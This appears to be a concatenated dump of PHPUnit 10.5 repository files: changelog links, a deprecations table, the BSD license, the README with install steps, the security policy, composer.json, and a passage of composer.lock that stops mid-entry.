https://github.com/sebastianbergmann/phpunit/compare/10.5.8...10.5.9 [10.5.8]: https://github.com/sebastianbergmann/phpunit/compare/10.5.7...10.5.8 [10.5.7]: https://github.com/sebastianbergmann/phpunit/compare/10.5.6...10.5.7 [10.5.6]: https://github.com/sebastianbergmann/phpunit/compare/10.5.5...10.5.6 [10.5.5]: https://github.com/sebastianbergmann/phpunit/compare/10.5.4...10.5.5 [10.5.4]: https://github.com/sebastianbergmann/phpunit/compare/10.5.3...10.5.4 [10.5.3]: https://github.com/sebastianbergmann/phpunit/compare/10.5.2...10.5.3 [10.5.2]: https://github.com/sebastianbergmann/phpunit/compare/10.5.1...10.5.2 [10.5.1]: https://github.com/sebastianbergmann/phpunit/compare/10.5.0...10.5.1 [10.5.0]: https://github.com/sebastianbergmann/phpunit/compare/10.4.2...10.5.0 # Deprecations ## Soft Deprecations This functionality is currently [soft-deprecated](https://phpunit.de/backward-compatibility.html#soft-deprecation): ### Writing Tests #### Assertions, Constraints, and Expectations | Issue | Description | Since | Replacement | |-------------------------------------------------------------------|----------------------------------------------|--------|-------------| | [#5472](https://github.com/sebastianbergmann/phpunit/issues/5472) | `Assert::assertStringNotMatchesFormat()` | 10.4.0 | | | [#5472](https://github.com/sebastianbergmann/phpunit/issues/5472) | `Assert::assertStringNotMatchesFormatFile()` | 10.4.0 | | #### Test Double API | Issue | Description | Since | Replacement | |-------------------------------------------------------------------|---------------------------------------------------|--------|-----------------------------------------------------------------------------------------| | [#5240](https://github.com/sebastianbergmann/phpunit/issues/5240) | `TestCase::createTestProxy()` | 10.1.0 | | | [#5241](https://github.com/sebastianbergmann/phpunit/issues/5241) | `TestCase::getMockForAbstractClass()` | 10.1.0 | | | [#5242](https://github.com/sebastianbergmann/phpunit/issues/5242) | `TestCase::getMockFromWsdl()` | 10.1.0 | | | [#5243](https://github.com/sebastianbergmann/phpunit/issues/5243) | `TestCase::getMockForTrait()` | 10.1.0 | | | [#5244](https://github.com/sebastianbergmann/phpunit/issues/5244) | `TestCase::getObjectForTrait()` | 10.1.0 | | | [#5305](https://github.com/sebastianbergmann/phpunit/issues/5305) | `MockBuilder::getMockForAbstractClass()` | 10.1.0 | | | [#5306](https://github.com/sebastianbergmann/phpunit/issues/5306) | `MockBuilder::getMockForTrait()` | 10.1.0 | | | [#5307](https://github.com/sebastianbergmann/phpunit/issues/5307) | `MockBuilder::disableProxyingToOriginalMethods()` | 10.1.0 | | | [#5307](https://github.com/sebastianbergmann/phpunit/issues/5307) | `MockBuilder::enableProxyingToOriginalMethods()` | 10.1.0 | | | [#5307](https://github.com/sebastianbergmann/phpunit/issues/5307) | `MockBuilder::setProxyTarget()` | 10.1.0 | | | [#5308](https://github.com/sebastianbergmann/phpunit/issues/5308) | `MockBuilder::allowMockingUnknownTypes()` | 10.1.0 | | | [#5308](https://github.com/sebastianbergmann/phpunit/issues/5308) | `MockBuilder::disallowMockingUnknownTypes()` | 10.1.0 | | | [#5309](https://github.com/sebastianbergmann/phpunit/issues/5309) | `MockBuilder::disableAutoload()` | 10.1.0 | | | [#5309](https://github.com/sebastianbergmann/phpunit/issues/5309) | `MockBuilder::enableAutoload()` | 10.1.0 | | | [#5315](https://github.com/sebastianbergmann/phpunit/issues/5315) | `MockBuilder::disableArgumentCloning()` | 10.1.0 | | | [#5315](https://github.com/sebastianbergmann/phpunit/issues/5315) | `MockBuilder::enableArgumentCloning()` | 10.1.0 | | | [#5320](https://github.com/sebastianbergmann/phpunit/issues/5320) | `MockBuilder::addMethods()` | 10.1.0 | | | [#5423](https://github.com/sebastianbergmann/phpunit/issues/5423) | `TestCase::onConsecutiveCalls()` | 10.3.0 | Use `$double->willReturn()` instead of `$double->will($this->onConsecutiveCalls())` | | [#5423](https://github.com/sebastianbergmann/phpunit/issues/5423) | `TestCase::returnArgument()` | 10.3.0 | Use `$double->willReturnArgument()` instead of `$double->will($this->returnArgument())` | | [#5423](https://github.com/sebastianbergmann/phpunit/issues/5423) | `TestCase::returnCallback()` | 10.3.0 | Use `$double->willReturnCallback()` instead of `$double->will($this->returnCallback())` | | [#5423](https://github.com/sebastianbergmann/phpunit/issues/5423) | `TestCase::returnSelf()` | 10.3.0 | Use `$double->willReturnSelf()` instead of `$double->will($this->returnSelf())` | | [#5423](https://github.com/sebastianbergmann/phpunit/issues/5423) | `TestCase::returnValue()` | 10.3.0 | Use `$double->willReturn()` instead of `$double->will($this->returnValue())` | | [#5423](https://github.com/sebastianbergmann/phpunit/issues/5423) | `TestCase::returnValueMap()` | 10.3.0 | Use `$double->willReturnMap()` instead of `$double->will($this->returnValueMap())` | #### Miscellaneous | Issue | Description | Since | Replacement | |-------------------------------------------------------------------|----------------------------------------------------------------|--------|--------------------------------------------------------------------| | [#5236](https://github.com/sebastianbergmann/phpunit/issues/5236) | `PHPUnit\Framework\Attributes\CodeCoverageIgnore()` | 10.1.0 | | | [#5214](https://github.com/sebastianbergmann/phpunit/issues/5214) | `TestCase::iniSet()` | 10.3.0 | | | [#5216](https://github.com/sebastianbergmann/phpunit/issues/5216) | `TestCase::setLocale()` | 10.3.0 | | | [#5236](https://github.com/sebastianbergmann/phpunit/issues/5513) | `PHPUnit\Framework\Attributes\IgnoreClassForCodeCoverage()` | 10.4.0 | Use `@codeCoverageIgnore` annotation in the class' doc-comment | | [#5236](https://github.com/sebastianbergmann/phpunit/issues/5513) | `PHPUnit\Framework\Attributes\IgnoreMethodForCodeCoverage()` | 10.4.0 | Use `@codeCoverageIgnore` annotation in the method's doc-comment | | [#5236](https://github.com/sebastianbergmann/phpunit/issues/5513) | `PHPUnit\Framework\Attributes\IgnoreFunctionForCodeCoverage()` | 10.4.0 | Use `@codeCoverageIgnore` annotation in the function's doc-comment | ### Running Tests | Issue | Description | Since | Replacement | |-------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------|--------|-------------| | [#5481](https://github.com/sebastianbergmann/phpunit/issues/5481) | `dataSet` attribute for `testCaseMethod` elements in the XML document generated by `--list-tests-xml` | 10.4.0 | | ### Extending PHPUnit | Issue | Description | Since | Replacement | |-------|------------------------------------------------------------------------------------------------------------------------------|--------|--------------------------------------------------------------------------------| | | `PHPUnit\TextUI\Configuration\Configuration::coverageExcludeDirectories()` | 10.2.0 | `PHPUnit\TextUI\Configuration\Configuration::source()->excludeDirectories()` | | | `PHPUnit\TextUI\Configuration\Configuration::coverageExcludeFiles()` | 10.2.0 | `PHPUnit\TextUI\Configuration\Configuration::source()->excludeFiles()` | | | `PHPUnit\TextUI\Configuration\Configuration::coverageIncludeDirectories()` | 10.2.0 | `PHPUnit\TextUI\Configuration\Configuration::source()->includeDirectories()` | | | `PHPUnit\TextUI\Configuration\Configuration::coverageIncludeFiles()` | 10.2.0 | `PHPUnit\TextUI\Configuration\Configuration::source()->includeFiles()` | | | `PHPUnit\TextUI\Configuration\Configuration::loadPharExtensions()` | 10.2.0 | `PHPUnit\TextUI\Configuration\Configuration::noExtensions()` | | | `PHPUnit\TextUI\Configuration\Configuration::hasNonEmptyListOfFilesToBeIncludedInCodeCoverageReport()` | 10.2.0 | `PHPUnit\TextUI\Configuration\Configuration::source()->notEmpty()` | | | `PHPUnit\TextUI\Configuration\Configuration::restrictDeprecations()` | 10.2.0 | `PHPUnit\TextUI\Configuration\Configuration::source()->restrictDeprecations()` | | | `PHPUnit\TextUI\Configuration\Configuration::restrictNotices()` | 10.2.0 | `PHPUnit\TextUI\Configuration\Configuration::source()->restrictNotices()` | | | `PHPUnit\TextUI\Configuration\Configuration::restrictWarnings()` | 10.2.0 | `PHPUnit\TextUI\Configuration\Configuration::source()->restrictWarnings()` | | | `PHPUnit\TextUI\Configuration\Configuration::cliArgument()` | 10.4.0 | `PHPUnit\TextUI\Configuration\Configuration::cliArguments()[0]` | | | `PHPUnit\TextUI\Configuration\Configuration::hasCliArgument()` | 10.4.0 | `PHPUnit\TextUI\Configuration\Configuration::hasCliArguments()` | | | `PHPUnit\Framework\Constraint\Constraint::exporter()` | 10.4.0 | | | | `PHPUnit\TextUI\Configuration\Configuration::registerMockObjectsFromTestArgumentsRecursively()` | 10.5.3 | | | | `Test\AssertionFailed` and `Test\AssertionSucceeded` events | 10.5.3 | | | | `PHPUnit\Runner\Extension\Facade::requireExportOfObjects()` and `PHPUnit\Runner\Extension\Facade::requiresExportOfObjects()` | 10.5.3 | | ## Hard Deprecations This functionality is currently [hard-deprecated](https://phpunit.de/backward-compatibility.html#hard-deprecation): ### Writing Tests #### Miscellaneous | Issue | Description | Since | Replacement | |-------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------|---------|-------------| | [#5100](https://github.com/sebastianbergmann/phpunit/issues/5100) | Support for non-static data provider methods, non-public data provider methods, and data provider methods that declare parameters | 10.0.0 | | | [#5812](https://github.com/sebastianbergmann/phpunit/pull/5812) | Support for string array keys in data sets returned by data provider methods that do not match the parameter names of the test method(s) that use(s) them | 10.5.18 | | BSD 3-Clause License Copyright (c) 2001-2025, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # PHPUnit [![Latest Stable Version](https://poser.pugx.org/phpunit/phpunit/v)](https://packagist.org/packages/phpunit/phpunit) [![CI Status](https://github.com/sebastianbergmann/phpunit/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/phpunit/actions) [![codecov](https://codecov.io/gh/sebastianbergmann/phpunit/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/phpunit) PHPUnit is a programmer-oriented testing framework for PHP. It is an instance of the xUnit architecture for unit testing frameworks. ## Installation We distribute a [PHP Archive (PHAR)](https://php.net/phar) that has all required (as well as some optional) dependencies of PHPUnit bundled in a single file: ```bash $ wget https://phar.phpunit.de/phpunit-X.Y.phar $ php phpunit-X.Y.phar --version ``` Please replace `X.Y` with the version of PHPUnit you are interested in. Alternatively, you may use [Composer](https://getcomposer.org/) to download and install PHPUnit as well as its dependencies. Please refer to the [documentation](https://phpunit.de/documentation.html) for details on how to install PHPUnit. ## Contribute Please refer to [CONTRIBUTING.md](https://github.com/sebastianbergmann/phpunit/blob/main/.github/CONTRIBUTING.md) for information on how to contribute to PHPUnit and its related projects. ## List of Contributors Thanks to everyone who has contributed to PHPUnit! You can find a detailed list of contributors on every PHPUnit related package on GitHub. This list shows only the major components: * [PHPUnit](https://github.com/sebastianbergmann/phpunit/graphs/contributors) * [php-code-coverage](https://github.com/sebastianbergmann/php-code-coverage/graphs/contributors) A very special thanks to everyone who has contributed to the [documentation](https://github.com/sebastianbergmann/phpunit-documentation-english/graphs/contributors). # Security Policy If you believe you have found a security vulnerability in PHPUnit, please report it to us through coordinated disclosure. **Please do not report security vulnerabilities through public GitHub issues, discussions, or pull requests.** Instead, please email `sebastian@phpunit.de`. Please include as much of the information listed below as you can to help us better understand and resolve the issue: * The type of issue * Full paths of source file(s) related to the manifestation of the issue * The location of the affected source code (tag/branch/commit or direct URL) * Any special configuration required to reproduce the issue * Step-by-step instructions to reproduce the issue * Proof-of-concept or exploit code (if possible) * Impact of the issue, including how an attacker might exploit the issue This information will help us triage your report more quickly. ## Web Context PHPUnit is a framework for writing as well as a command-line tool for running tests. Writing and running tests is a development-time activity. There is no reason why PHPUnit should be installed on a webserver and/or in a production environment. **If you upload PHPUnit to a webserver then your deployment process is broken. On a more general note, if your `vendor` directory is publicly accessible on your webserver then your deployment process is also broken.** Please note that if you upload PHPUnit to a webserver "bad things" may happen. [You have been warned.](https://thephp.cc/articles/phpunit-a-security-risk?ref=phpunit) PHPUnit is developed with a focus on development environments and the command-line. No specific testing or hardening with regard to using PHPUnit in an HTTP or web context or with untrusted input data is performed. PHPUnit might also contain functionality that intentionally exposes internal application data for debugging purposes. If PHPUnit is used in a web application, the application developer is responsible for filtering inputs or escaping outputs as necessary and for verifying that the used functionality is safe for use within the intended context. Vulnerabilities specific to the use outside a development context will be fixed as applicable, provided that the fix does not have an averse effect on the primary use case for development purposes. { "name": "phpunit/phpunit", "description": "The PHP Unit Testing framework.", "type": "library", "keywords": [ "phpunit", "xunit", "testing" ], "homepage": "https://phpunit.de/", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/phpunit/issues", "security": "https://github.com/sebastianbergmann/phpunit/security/policy" }, "prefer-stable": true, "require": { "php": ">=8.1", "ext-dom": "*", "ext-json": "*", "ext-libxml": "*", "ext-mbstring": "*", "ext-xml": "*", "ext-xmlwriter": "*", "myclabs/deep-copy": "^1.13.4", "phar-io/manifest": "^2.0.4", "phar-io/version": "^3.2.1", "phpunit/php-code-coverage": "^10.1.16", "phpunit/php-file-iterator": "^4.1.0", "phpunit/php-invoker": "^4.0.0", "phpunit/php-text-template": "^3.0.1", "phpunit/php-timer": "^6.0.0", "sebastian/cli-parser": "^2.0.1", "sebastian/code-unit": "^2.0.0", "sebastian/comparator": "^5.0.4", "sebastian/diff": "^5.1.1", "sebastian/environment": "^6.1.0", "sebastian/exporter": "^5.1.4", "sebastian/global-state": "^6.0.2", "sebastian/object-enumerator": "^5.0.0", "sebastian/recursion-context": "^5.0.1", "sebastian/type": "^4.0.0", "sebastian/version": "^4.0.1" }, "config": { "platform": { "php": "8.1.0" }, "classmap-authoritative": true, "optimize-autoloader": true, "sort-packages": true }, "suggest": { "ext-soap": "To be able to generate mocks based on WSDL files" }, "bin": [ "phpunit" ], "autoload": { "classmap": [ "src/" ], "files": [ "src/Framework/Assert/Functions.php" ] }, "autoload-dev": { "classmap": [ "tests/_files" ], "files": [ "tests/unit/Event/AbstractEventTestCase.php", "tests/unit/Framework/MockObject/TestDoubleTestCase.php", "tests/unit/Metadata/Parser/AnnotationParserTestCase.php", "tests/unit/Metadata/Parser/AttributeParserTestCase.php", "tests/_files/CoverageNamespacedFunctionTest.php", "tests/_files/CoveredFunction.php", "tests/_files/Generator.php", "tests/_files/NamespaceCoveredFunction.php", "tests/end-to-end/code-coverage/ignore-function-using-attribute/src/CoveredFunction.php" ] }, "extra": { "branch-alias": { "dev-main": "10.5-dev" } } } { "_readme": [ "This file locks the dependencies of your project to a known state", "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], "content-hash": "57d0db32e86a80c8096681bddf4bdd30", "packages": [ { "name": "myclabs/deep-copy", "version": "1.13.4", "source": { "type": "git", "url": "https://github.com/myclabs/DeepCopy.git", "reference": "07d290f0c47959fd5eed98c95ee5602db07e0b6a" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/07d290f0c47959fd5eed98c95ee5602db07e0b6a", "reference": "07d290f0c47959fd5eed98c95ee5602db07e0b6a", "shasum": "" }, "require": { "php": "^7.1 || ^8.0" }, "conflict": { "doctrine/collections": "<1.6.8", "doctrine/common": "<2.13.3 || >=3 <3.2.2" }, "require-dev": { "doctrine/collections": "^1.6.8", "doctrine/common": "^2.13.3 || ^3.2.2", "phpspec/prophecy": "^1.10", "phpunit/phpunit": "^7.5.20 || ^8.5.23 || ^9.5.13" }, "type": "library", "autoload": { "files": [ "src/DeepCopy/deep_copy.php" ], "psr-4": { "DeepCopy\\": "src/DeepCopy/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "description": "Create deep copies (clones) of your objects", "keywords": [ "clone", "copy", "duplicate", "object", "object graph" ], "support": { "issues": "https://github.com/myclabs/DeepCopy/issues", "source": "https://github.com/myclabs/DeepCopy/tree/1.13.4" }, "funding": [ { "url": "https://tidelift.com/funding/github/packagist/myclabs/deep-copy", "type": "tidelift" } ], "time": "2025-08-01T08:46:24+00:00" }, { "name": "nikic/php-parser", "version": "v5.6.1", "source": { "type": "git", "url": "https://github.com/nikic/PHP-Parser.git", "reference": "f103601b29efebd7ff4a1ca7b3eeea9e3336a2a2" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/f103601b29efebd7ff4a1ca7b3eeea9e3336a2a2", "reference": "f103601b29efebd7ff4a1ca7b3eeea9e3336a2a2", "shasum": "" }, "require": { "ext-ctype": "*", "ext-json": "*", "ext-tokenizer": "*", "php": ">=7.4" }, "require-dev": { "ircmaxell/php-yacc": "^0.0.7", "phpunit/phpunit": "^9.0" }, "bin": [ "bin/php-parse" ], "type": "library", "extra": { "branch-alias": { "dev-master": "5.x-dev" } }, "autoload": { "psr-4": { "PhpParser\\": "lib/PhpParser" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Nikita Popov" } ], "description": "A PHP parser written in PHP", "keywords": [ "parser", "php" ], "support": { "issues": "https://github.com/nikic/PHP-Parser/issues", "source": "https://github.com/nikic/PHP-Parser/tree/v5.6.1" }, "time": "2025-08-13T20:13:15+00:00" }, { "name": "phar-io/manifest", "version": "2.0.4", "source": { "type": "git", "url": "https://github.com/phar-io/manifest.git", "reference": "54750ef60c58e43759730615a392c31c80e23176" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/phar-io/manifest/zipball/54750ef60c58e43759730615a392c31c80e23176", "reference": "54750ef60c58e43759730615a392c31c80e23176", "shasum": "" }, "require": { "ext-dom": "*", "ext-libxml": "*", "ext-phar": "*", "ext-xmlwriter": "*", "phar-io/version": "^3.0.1", "php": "^7.2 || ^8.0" }, "type": "library", "extra": { "branch-alias": { "dev-master": "2.0.x-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Arne Blankerts", "email": "arne@blankerts.de", "role": "Developer" }, { "name": "Sebastian Heuer", "email": "sebastian@phpeople.de", "role": "Developer" }, { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "Developer" } ], "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", "support": { "issues": "https://github.com/phar-io/manifest/issues", "source": "https://github.com/phar-io/manifest/tree/2.0.4" }, "funding": [ { "url": "https://github.com/theseer", "type": "github" } ], "time": "2024-03-03T12:33:53+00:00" }, { "name": "phar-io/version", "version": "3.2.1", "source": { "type": "git", "url": "https://github.com/phar-io/version.git", "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/phar-io/version/zipball/4f7fd7836c6f332bb2933569e566a0d6c4cbed74", "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74", "shasum": "" }, "require": { "php": "^7.2 || ^8.0" }, "type": "library", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Arne Blankerts", "email": "arne@blankerts.de", "role": "Developer" }, { "name": "Sebastian Heuer", "email": "sebastian@phpeople.de", "role": "Developer" }, { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "Developer" } ], "description": "Library for handling version information and constraints", "support": { "issues": "https://github.com/phar-io/version/issues", "source": "https://github.com/phar-io/version/tree/3.2.1" }, "time": "2022-02-21T01:04:05+00:00" }, { "name": "phpunit/php-code-coverage", "version": "10.1.16", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-code-coverage.git", "reference": "7e308268858ed6baedc8704a304727d20bc07c77" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/7e308268858ed6baedc8704a304727d20bc07c77", "reference": "7e308268858ed6baedc8704a304727d20bc07c77", "shasum": "" }, "require": { "ext-dom": "*", "ext-libxml": "*", "ext-xmlwriter": "*", "nikic/php-parser": "^4.19.1 || ^5.1.0", "php": ">=8.1", "phpunit/php-file-iterator": "^4.1.0", "phpunit/php-text-template": "^3.0.1", "sebastian/code-unit-reverse-lookup": "^3.0.0", "sebastian/complexity": "^3.2.0", "sebastian/environment": "^6.1.0", "sebastian/lines-of-code": "^2.0.2", "sebastian/version": "^4.0.1", "theseer/tokenizer": "^1.2.3" }, "require-dev": { "phpunit/phpunit": "^10.1" }, "suggest": { "ext-pcov": "PHP extension that provides line coverage", "ext-xdebug": "PHP extension that provides line coverage as well as branch and path coverage" }, "type": "library", "extra": { "branch-alias": { "dev-main": "10.1.x-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", "homepage": "https://github.com/sebastianbergmann/php-code-coverage", "keywords": [ "coverage", "testing", "xunit" ], "support": { "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", "security": "https://github.com/sebastianbergmann/php-code-coverage/security/policy", "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/10.1.16" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2024-08-22T04:31:57+00:00" }, { "name": "phpunit/php-file-iterator", "version": "4.1.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-file-iterator.git", "reference": "a95037b6d9e608ba092da1b23931e537cadc3c3c" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/a95037b6d9e608ba092da1b23931e537cadc3c3c", "reference": "a95037b6d9e608ba092da1b23931e537cadc3c3c", "shasum": "" }, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "type": "library", "extra": { "branch-alias": { "dev-main": "4.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "FilterIterator implementation that filters files based on a list of suffixes.", "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", "keywords": [ "filesystem", "iterator" ], "support": { "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues", "security": "https://github.com/sebastianbergmann/php-file-iterator/security/policy", "source": "https://github.com/sebastianbergmann/php-file-iterator/tree/4.1.0" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2023-08-31T06:24:48+00:00" }, { "name": "phpunit/php-invoker", "version": "4.0.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-invoker.git", "reference": "f5e568ba02fa5ba0ddd0f618391d5a9ea50b06d7" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/php-invoker/zipball/f5e568ba02fa5ba0ddd0f618391d5a9ea50b06d7", "reference": "f5e568ba02fa5ba0ddd0f618391d5a9ea50b06d7", "shasum": "" }, "require": { "php": ">=8.1" }, "require-dev": { "ext-pcntl": "*", "phpunit/phpunit": "^10.0" }, "suggest": { "ext-pcntl": "*" }, "type": "library", "extra": { "branch-alias": { "dev-main": "4.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Invoke callables with a timeout", "homepage": "https://github.com/sebastianbergmann/php-invoker/", "keywords": [ "process" ], "support": { "issues": "https://github.com/sebastianbergmann/php-invoker/issues", "source": "https://github.com/sebastianbergmann/php-invoker/tree/4.0.0" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2023-02-03T06:56:09+00:00" }, { "name": "phpunit/php-text-template", "version": "3.0.1", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-text-template.git", "reference": "0c7b06ff49e3d5072f057eb1fa59258bf287a748" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/php-text-template/zipball/0c7b06ff49e3d5072f057eb1fa59258bf287a748", "reference": "0c7b06ff49e3d5072f057eb1fa59258bf287a748", "shasum": "" }, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "type": "library", "extra": { "branch-alias": { "dev-main": "3.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Simple template engine.", "homepage": "https://github.com/sebastianbergmann/php-text-template/", "keywords": [ "template" ], "support": { "issues": "https://github.com/sebastianbergmann/php-text-template/issues", "security": "https://github.com/sebastianbergmann/php-text-template/security/policy", "source": "https://github.com/sebastianbergmann/php-text-template/tree/3.0.1" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2023-08-31T14:07:24+00:00" }, { "name": "phpunit/php-timer", "version": "6.0.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-timer.git", "reference": "e2a2d67966e740530f4a3343fe2e030ffdc1161d" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/php-timer/zipball/e2a2d67966e740530f4a3343fe2e030ffdc1161d", "reference": "e2a2d67966e740530f4a3343fe2e030ffdc1161d", "shasum": "" }, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "type": "library", "extra": { "branch-alias": { "dev-main": "6.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Utility class for timing", "homepage": "https://github.com/sebastianbergmann/php-timer/", "keywords": [ "timer" ], "support": { "issues": "https://github.com/sebastianbergmann/php-timer/issues", "source": "https://github.com/sebastianbergmann/php-timer/tree/6.0.0" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2023-02-03T06:57:52+00:00" }, { "name": "sebastian/cli-parser", "version": "2.0.1", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/cli-parser.git", "reference": "c34583b87e7b7a8055bf6c450c2c77ce32a24084" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/cli-parser/zipball/c34583b87e7b7a8055bf6c450c2c77ce32a24084", "reference": "c34583b87e7b7a8055bf6c450c2c77ce32a24084", "shasum": "" }, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "type": "library", "extra": { "branch-alias": { "dev-main": "2.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Library for parsing CLI options", "homepage": "https://github.com/sebastianbergmann/cli-parser", "support": { "issues": "https://github.com/sebastianbergmann/cli-parser/issues", "security": "https://github.com/sebastianbergmann/cli-parser/security/policy", "source": "https://github.com/sebastianbergmann/cli-parser/tree/2.0.1" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2024-03-02T07:12:49+00:00" }, { "name": "sebastian/code-unit", "version": "2.0.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/code-unit.git", "reference": "a81fee9eef0b7a76af11d121767abc44c104e503" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/code-unit/zipball/a81fee9eef0b7a76af11d121767abc44c104e503", "reference": "a81fee9eef0b7a76af11d121767abc44c104e503", "shasum": "" }, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "type": "library", "extra": { "branch-alias": { "dev-main": "2.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Collection of value objects that represent the PHP code units", "homepage": "https://github.com/sebastianbergmann/code-unit", "support": { "issues": "https://github.com/sebastianbergmann/code-unit/issues", "source": "https://github.com/sebastianbergmann/code-unit/tree/2.0.0" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2023-02-03T06:58:43+00:00" }, { "name": "sebastian/code-unit-reverse-lookup", "version": "3.0.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/code-unit-reverse-lookup.git", "reference": "5e3a687f7d8ae33fb362c5c0743794bbb2420a1d" }, "dist": { "type": "zip", "url": 